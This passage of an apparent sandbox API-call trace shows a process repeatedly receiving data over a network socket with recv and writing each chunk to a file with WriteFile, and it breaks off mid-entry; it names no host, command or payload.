lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0119.548] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0119.688] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0119.689] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0119.689] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0119.777] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0119.777] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0119.779] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0119.779] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0119.900] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0119.901] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0119.901] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0120.020] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0120.021] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0120.021] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0120.125] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0120.125] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0120.126] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0120.258] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0120.260] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0120.260] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0120.260] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 36400 [0120.335] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0120.336] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 58800 [0120.470] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xe5b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xe5b0, lpOverlapped=0x0) returned 1 [0120.472] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0120.472] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0120.472] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0120.575] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0120.575] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0120.680] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0120.681] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0120.681] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0120.681] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0120.757] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0120.758] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0120.892] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0120.934] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 30800 [0120.934] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0120.935] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 16800 [0120.959] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0120.959] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0120.959] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 58800 [0121.097] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0121.097] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xe0a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xe0a0, lpOverlapped=0x0) returned 1 [0121.098] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 14000 [0121.098] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0121.098] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0121.209] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0121.210] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 14000 [0121.210] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0121.210] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0121.346] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0121.347] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 14000 [0121.347] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0121.347] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0121.429] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0121.430] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0121.430] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0121.435] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0121.435] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0121.436] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0121.597] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0121.598] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 36400 [0121.598] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0121.598] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0121.671] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0121.672] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 25200 [0121.672] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0121.672] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 19600 [0121.747] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0121.748] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 19600 [0121.748] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0121.748] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0121.902] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0121.903] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 36400 [0121.903] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0121.903] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0121.975] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0121.976] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 33600 [0121.976] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0121.977] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0122.130] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0122.131] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 36400 [0122.131] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0122.132] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0122.193] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0122.194] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0122.194] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0122.195] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0122.256] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0122.257] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0122.257] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0122.257] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 65536 [0122.405] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x10000, lpOverlapped=0x0) returned 1 [0122.407] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 11464 [0122.407] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2cc8, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2cc8, lpOverlapped=0x0) returned 1 [0122.407] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 9800 [0122.484] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2648, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2648, lpOverlapped=0x0) returned 1 [0122.485] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 22400 [0122.485] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0122.485] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 22400 [0122.562] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0122.562] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 11200 [0122.562] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0122.563] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 65536 [0122.718] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x10000, lpOverlapped=0x0) returned 1 [0122.719] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5864 [0122.719] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x16e8, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x16e8, lpOverlapped=0x0) returned 1 [0122.719] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 57400 [0122.911] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xe038, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xe038, lpOverlapped=0x0) returned 1 [0122.912] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 19600 [0122.912] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0122.913] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0123.053] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0123.055] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0123.204] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0123.205] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 50400 [0123.352] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0123.353] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0123.353] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0123.353] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0123.508] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0123.508] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 16800 [0123.509] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0123.509] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0123.663] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0123.663] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 19600 [0123.663] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0123.668] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0123.822] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0123.823] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0123.823] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0123.823] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0124.019] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0124.020] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0124.184] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0124.185] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0124.342] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0124.343] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0124.565] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0124.566] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0124.566] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, 